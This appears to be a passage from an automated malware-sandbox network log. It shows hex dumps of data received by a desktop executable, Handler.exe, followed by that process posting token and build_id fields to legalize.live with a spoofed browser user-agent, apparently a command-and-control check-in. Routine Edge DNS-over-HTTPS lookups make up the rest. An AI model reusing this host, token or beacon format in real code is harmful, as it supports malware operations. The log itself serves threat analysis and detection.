2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 69 63 61 6c 53 65 63 74 69 6f 6e 02 00 08 2b 41 00 08 00 00 00 02 10 50 72 6f 63 65 73 73 4c 6f 63 6b 73 4c 69 73 74 02 00 e4 10 40 00 10 00 00 00 02 0a 45 6e 74 72 79 43 6f 75 6e 74 02 00 e4 10 40 00 14 00 00 00 02 0f 43 6f 6e 74 65 6e 74 69 6f 6e 43 6f 75 6e 74 02 00 00 00 00 00 18 00 00 00 02 05 53 70 61 72 65 02 00 02 00 00 00 00 74 2c 41 00 0e 15 5f 52 54 4c 5f 43 52 49 54 49 43 41 4c 5f 53 45 43 54 49 4f 4e 18 00 00 00 00 00 00 00 00 06 00 00 00 6c 2b 41 00 00 00 00 00 02 09 44 65 62 75 67 49 6e 66 6f 02 00 9c 10 40 00 04 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 9c 10 40 00 08 00 00 00 02 0e 52 65 63 75 72 73 69 6f 6e 43 6f 75 6e 74 02 00 70 11 40 00 0c 00 00 00 02 0c 4f 77 6e 69 6e 67 54 68 72 65 61 64 02 00 70 11 40 00 10 00 00 00 02 0d 4c Data Ascii: icalSection+AProcessLocksList@EntryCount@ContentionCountSparet,A_RTL_CRITICAL_SECTIONl+ADebugInfo@LockCount@RecursionCountp@OwningThreadp@L
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 15 15 19 19 19 15 15 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 16 15 12 18 10 18 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 16 19 12 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1d 15 17 17 17 17 1a 1a 18 1a 05 14 19 01 1a 18 1a 19 0f 0f 18 05 1a 15 18 0f 05 13 0f 0f 0f 15 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 19 09 09 09 09 09 09 09 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 19 05 05 05 05 05 05 05 05 02 15 11 02 02 02 02 02 0c 0c 02 07 07 02 02 02 02 02 02 0a 02 02 02 02 02 02 02 02 0a 02 02 02 02 02 02 02 02 1a 02 02 02 02 02 02 02 1a 02 02 02 1a 02 02 02 1a 1a 1a 1a Data Ascii:
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 00 00 00 08 00 01 08 dc ac 41 00 00 00 04 53 65 6c 66 02 00 02 00 30 00 18 98 42 00 10 47 65 74 42 61 73 65 45 78 63 65 70 74 69 6f 6e 03 00 dc ac 41 00 08 00 01 08 dc ac 41 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 cc 98 42 00 08 54 6f 53 74 72 69 6e 67 03 00 b8 12 40 00 08 00 02 08 dc ac 41 00 00 00 04 53 65 6c 66 02 00 40 b8 12 40 00 01 00 01 01 02 00 02 00 30 00 4c 98 42 00 13 52 61 69 73 65 4f 75 74 65 72 45 78 63 65 70 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 dc ac 41 00 00 00 01 45 02 00 02 00 30 00 60 98 42 00 13 54 68 72 6f 77 4f 75 74 65 72 45 78 63 65 70 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 dc ac 41 00 00 00 01 45 02 00 02 00 00 00 00 e0 ac 41 00 07 09 45 78 63 65 70 74 69 6f 6e 0c a7 41 00 b4 1f 40 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 Data Ascii: ASelf0BGetBaseExceptionAASelf3BToString@ASelf@@0LBRaiseOuterExceptionAE0`BThrowOuterExceptionAEAExceptionA@System.Sy
2025-01-15 19:16:54 UTC	8192	IN	Data Raw: 9c 10 40 00 01 00 05 49 6e 64 65 78 02 00 02 00 46 00 e8 df 42 00 08 53 65 74 43 68 61 72 73 03 00 00 00 00 00 08 00 03 08 58 ec 41 00 00 00 04 53 65 6c 66 02 00 00 9c 10 40 00 01 00 05 49 6e 64 65 78 02 00 00 4c 10 40 00 02 00 05 56 61 6c 75 65 02 00 02 00 00 00 5c ec 41 00 07 0e 54 53 74 72 69 6e 67 42 75 69 6c 64 65 72 28 da 41 00 b4 1f 40 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 73 55 74 69 6c 73 00 00 03 00 02 b0 ec 41 00 02 00 02 d3 ec 41 00 02 00 02 f4 ec 41 00 02 00 02 00 01 00 05 3b 00 3c 00 05 43 68 61 72 73 02 00 9c 10 40 00 f8 d0 42 00 74 df 42 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 43 61 70 61 63 69 74 79 9c 10 40 00 70 c3 42 00 50 e0 42 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 06 4c 65 6e 67 74 68 9c 10 40 00 74 d1 42 00 00 00 00 Data Ascii: @IndexFBSetCharsXASelf@IndexL@Value\ATStringBuilder(A@System.SysUtilsAAA;<Chars@BtBCapacity@pBPBLength@tB
2025-01-15 19:16:54 UTC	16384	IN	Data Raw: 58 0c 42 00 dc 0b 42 00 00 00 00 00 58 0c 42 00 fc 0c 42 00 6a 0c 42 00 ac 0c 42 00 00 00 00 00 ba 0c 42 00 5c 00 00 00 c8 27 40 00 94 80 40 00 9c 80 40 00 dc 83 40 00 d4 83 40 00 78 f9 40 00 84 f9 40 00 fc 83 40 00 f0 83 40 00 98 f9 40 00 2c 7e 40 00 6c 21 43 00 0e 00 00 00 00 00 01 00 00 00 64 10 42 00 4c 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 0c 00 00 00 07 46 49 6e 6c 69 6e 65 02 00 00 64 10 42 00 4c 00 00 00 09 46 4f 76 65 72 66 6c 6f 77 02 00 00 9c 10 40 00 50 00 00 00 06 46 43 6f 75 6e 74 02 00 00 00 01 00 d0 0c 42 00 4d 00 ff ff 00 00 15 54 4d 61 72 73 68 61 6c 6c 65 72 2e 54 44 69 73 70 6f 73 65 72 27 00 6c 21 43 00 07 44 65 73 74 72 6f 79 03 00 00 00 00 00 08 00 01 08 f8 0c 42 00 00 00 04 53 65 6c 66 02 00 02 00 00 fc 0c 42 00 07 15 54 Data Ascii: XBBXBBjBBB\'@@@@@x@@@@@,~@l!CdBLFInlinedBLFOverflow@PFCountBMTMarshaller.TDisposer'l!CDestroyBSelfBT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50184	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:59 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6fu3ekf37qie37y5fus0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:59 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 75 33 65 6b 66 33 37 71 69 65 33 37 79 35 66 75 73 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 36 66 75 33 65 6b 66 33 37 71 69 65 33 37 79 35 66 75 73 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 36 66 75 33 65 6b 66 33 37 71 69 65 33 37 79 35 66 75 73 30 0d 0a 43 6f 6e 74 Data Ascii: ------6fu3ekf37qie37y5fus0Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------6fu3ekf37qie37y5fus0Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------6fu3ekf37qie37y5fus0Cont
2025-01-15 19:17:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:17:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50193	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:17:01 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----8qqi5xlxt00zuaaasr90 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:17:01 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 71 71 69 35 78 6c 78 74 30 30 7a 75 61 61 61 73 72 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 38 71 71 69 35 78 6c 78 74 30 30 7a 75 61 61 61 73 72 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 38 71 71 69 35 78 6c 78 74 30 30 7a 75 61 61 61 73 72 39 30 0d 0a 43 6f 6e 74 Data Ascii: ------8qqi5xlxt00zuaaasr90Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------8qqi5xlxt00zuaaasr90Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------8qqi5xlxt00zuaaasr90Cont
2025-01-15 19:17:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:17:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50229	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:17:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:17:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 57 00 0c 00 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcom)WS
2025-01-15 19:17:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:17:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902834e419c59e05-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:17:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 0c 00 00 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 57 00 25 07 77 77 77 2d 77 77 77 04 62 69 6e 67 03 63 6f 6d 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 2a 00 05 00 01 00 00 00 33 00 17 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 07 65 64 67 65 6b 65 79 c0 4a c0 5b 00 05 00 01 00 00 54 57 00 19 06 65 38 36 33 30 33 04 64 73 63 78 0a 61 6b 61 6d 61 69 65 64 67 65 c0 4a c0 7e 00 01 00 01 00 00 00 0b 00 04 17 39 5a a4 c0 7e 00 01 00 01 00 00 00 0b 00 04 17 39 5a 9d c0 7e 00 01 00 01 00 00 00 0b 00 04 17 39 5a a6 c0 7e 00 01 00 01 00 00 00 0b 00 04 17 39 5a 9f c0 7e 00 01 00 01 00 00 00 0b 00 04 17 39 5a a2 c0 7e 00 01 00 01 00 00 00 0b 00 04 17 39 5a a5 c0 7e 00 01 00 01 00 00 Data Ascii: wwwbingcomTW%www-wwwbingcomtrafficmanagernet*3wwwbingcomedgekeyJ[TWe86303dscxakamaiedgeJ~9Z~9Z~9Z~9Z~9Z~9Z~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50228	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:17:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:17:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 57 00 0c 00 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcomA)WS
2025-01-15 19:17:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:17:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902834e41d126a4e-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:17:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 01 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 54 3c 00 25 07 77 77 77 2d 77 77 77 04 62 69 6e 67 03 63 6f 6d 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 2a 00 05 00 01 00 00 00 18 00 17 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 07 65 64 67 65 6b 65 79 c0 4a c0 5b 00 05 00 01 00 00 54 3c 00 19 06 65 38 36 33 30 33 04 64 73 63 78 0a 61 6b 61 6d 61 69 65 64 67 65 c0 4a c0 85 00 06 00 01 00 00 03 c4 00 31 06 6e 30 64 73 63 78 c0 8a 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 c0 15 67 88 09 a7 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 00 f5 00 0c 00 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcomAT<%www-wwwbingcomtrafficmanagernet*wwwbingcomedgekeyJ[T<e86303dscxakamaiedgeJ1n0dscxhostmasterakamaig)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50262	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:18:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:18:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 62 7a 69 62 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 50 00 0c 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: bzibnelreportsnet)PL
2025-01-15 19:18:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:18:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028364e3f7e7293-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:18:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 62 7a 69 62 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d f5 00 20 04 62 7a 69 62 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 09 61 6b 61 6d 61 69 7a 65 64 c0 1c c0 31 00 05 00 01 00 00 54 45 00 13 04 61 34 31 36 04 64 73 63 64 06 61 6b 61 6d 61 69 c0 1c c0 5d 00 01 00 01 00 00 00 0d 00 04 17 cc 98 ea c0 5d 00 01 00 01 00 00 00 0d 00 04 17 cc 98 cf 00 00 29 04 d0 00 00 00 00 01 39 00 0c 01 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: bzibnelreportsnet bzibnelreportsnetakamaized1TEa416dscdakamai]])95

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50261	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:18:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:18:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 62 7a 69 62 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 50 00 0c 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: bzibnelreportsnetA)PL
2025-01-15 19:18:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:18:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028364e4a7043c1-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:18:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 04 62 7a 69 62 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d df 00 20 04 62 7a 69 62 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 09 61 6b 61 6d 61 69 7a 65 64 c0 1c c0 31 00 05 00 01 00 00 54 2f 00 13 04 61 34 31 36 04 64 73 63 64 06 61 6b 61 6d 61 69 c0 1c c0 62 00 06 00 01 00 00 03 b7 00 34 06 6e 30 64 73 63 64 c0 67 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 03 63 6f 6d 00 67 88 09 d6 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 01 19 00 0c 01 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: bzibnelreportsnetA bzibnelreportsnetakamaized1T/a416dscdakamaib4n0dscdghostmasterakamaicomg)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50307	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:19:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:19:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2025-01-15 19:19:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:19:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902837b5487c4282-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:19:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d ef 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 1b 00 02 c0 43 c0 43 00 01 00 01 00 00 00 1b 00 04 cc 4f c5 ef c0 43 00 01 00 01 00 00 00 1b 00 04 0d 6b 15 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0CCOCk)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50306	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:19:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:19:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA)QM
2025-01-15 19:19:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:19:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902837b53dc943f4-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:19:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0e 06 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 4f 00 06 00 01 00 00 00 e6 00 23 03 6e 73 31 c0 4f 06 6d 73 6e 68 73 74 c0 11 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 3d 00 0c 01 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA-edge-microsoft-comdual-a-0036a-msedgenetO#ns1Omsnhstx+"$)=9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50349	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:20:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:20:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncom)XT
2025-01-15 19:20:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:20:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283954bd468c29-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:20:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 53 a8 00 21 0b 77 77 77 2d 6d 73 6e 2d 63 6f 6d 06 61 2d 30 30 30 33 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 29 00 05 00 01 00 00 00 38 00 02 c0 35 c0 35 00 01 00 01 00 00 00 38 00 04 cc 4f c5 cb 00 00 29 04 d0 00 00 00 00 01 61 00 0c 01 5d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 